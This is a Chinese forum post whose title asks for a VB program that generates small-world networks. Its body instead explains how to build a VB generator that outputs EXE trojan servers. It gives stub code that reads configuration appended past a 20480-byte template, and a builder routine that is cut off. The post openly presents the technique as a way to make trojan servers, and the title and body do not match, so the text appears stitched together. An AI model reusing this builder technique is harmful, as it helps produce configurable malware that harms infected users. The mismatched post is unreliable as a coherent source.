[跪求]小世界网络的VB生成程序

现在网上用VB所写的下载者，基本上都是生VBS服务端的，因为要想用VB实现直接生成EXE木马服务端是有难度的。我花不少时间在网上找资料，但是关于这方面的东西太少了。幸好，通过网上资料的帮助和我自己的思考，终于可以写出一个最基本的从EXE文件中生成出另一个EXE文件，并写入我们的配置信息的程序，希望对大家有帮助。

源代码我已做了较详细的解释：

服务端：

Const file_size = 20480
Private Sub Form_Load()
Dim snum As Long
Dim sinfo As String, sappend As Byte
Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1
Seek #1, file_size + 1 ’'将读取指针定位到文件尾部
For snum = 1 To FileLen(App.Path & "\" & App.EXEName & ".exe") - file_size
Get #1, , sappend ’'读出超出模板大小的字节部分，即我们写进去的配置信息
sinfo = sinfo + Chr(sappend)
Next snum
Close #1
Text1.Text = sinfo
End Sub
保存为工程1.exe。
生成端：

Private Sub Command1_Click()
Const FILE_SIZE = 20480 '这是101号资源中的服务端文件1.exe的大小
Dim bInfo As Byte
Dim bFile() As Byte
Dim iInfoLen As Integer
Dim i As Integer, lFile As Long, filesavename As String<